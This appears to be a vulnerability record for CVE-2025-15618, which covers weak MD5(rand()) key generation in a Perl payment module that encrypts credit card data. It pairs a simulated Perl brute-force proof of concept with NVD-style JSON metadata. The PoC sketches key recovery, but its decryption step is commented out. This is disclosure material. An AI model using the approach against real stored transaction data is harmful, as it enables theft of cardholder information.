CVE-2025-15618

#!/usr/bin/perl use strict; use warnings; use Digest::MD5 qw(md5_hex); # PoC for CVE-2025-15618: Weak Key Generation # This script demonstrates the feasibility of brute-forcing the secret key # generated by MD5(rand()). print "[*] Starting PoC for CVE-2025-15618...\n"; my $captured_ciphertext = "..."; # Replace with actual captured encrypted data my $found_key = ""; # The vulnerable module uses a single call to rand(). # Depending on the Perl version and platform, rand() might have limited precision. # We iterate through a reasonable range of possible rand() outputs to simulate the attack. # Note: Real-world exploitation depends on the specific rand() implementation details. my $max_attempts = 100000; for (my $i = 0; $i < $max_attempts; $i++) { # Simulate the vulnerable key generation logic # my $key = md5_hex(rand()); # We simulate 'rand' returning a value or just iterate integers to represent limited entropy space my $simulated_rand = $i; my $potential_key = md5_hex($simulated_rand); # In a real attack, check if this key decrypts the ciphertext successfully # if (decrypt($potential_key, $captured_ciphertext) =~ /\d{16}/) { # $found_key = $potential_key; # last; # } } if ($found_key) { print "[+] Key found: $found_key\n"; } else { print "[-] Key not found in limited simulation. Adjust range based on system rand().\n"; }

{"cve": {"id": "CVE-2025-15618", "sourceIdentifier": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "published": "2026-03-31T11:16:11.950", "lastModified": "2026-04-13T13:20:21.790", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Business::OnlinePayment::StoredTransaction versions through 0.01 for Perl uses an insecure secret key.\n\nBusiness::OnlinePayment::StoredTransaction generates a secret key by using a MD5 hash of a single call to the built-in rand function, which is unsuitable for cryptographic use.\n\nThis key is intended for encrypting credit card transaction data."}, {"lang": "es", "value": "Las versiones de Business::OnlinePayment::StoredTransaction hasta la 0.01 para Perl utilizan una clave secreta insegura.\n\nBusiness::OnlinePayment::StoredTransaction genera una clave secreta utilizando un hash MD5 de una única llamada a la función rand incorporada, lo cual no es apto para uso criptográfico.\n\nEsta clave está destinada a cifrar datos de transacciones de tarjetas de crédito."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-338"}, {"lang": "en", "value": "CWE-693"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mock:business\\:\\:onlinepayment\\:\\:storedtransaction:0.01:*:*:*:*:perl:*:*", "matchCriteriaId": "802AEA8D-5107-4BA0-997B-788A65BD0683"}]}]}], "references": [{"url": "https://metacpan.org/dist/Business-OnlinePayment-StoredTransaction/source/lib/Business/OnlinePayment/StoredTransaction.pm#L64-75", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "tags": ["Product"]}, {"url": "https://security.metacpan.org/patches/B/Business-OnlinePayment-StoredTransaction/0.01/CVE-2025-15618-r1.patch", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "tags": ["Patch"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/03/31/7", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}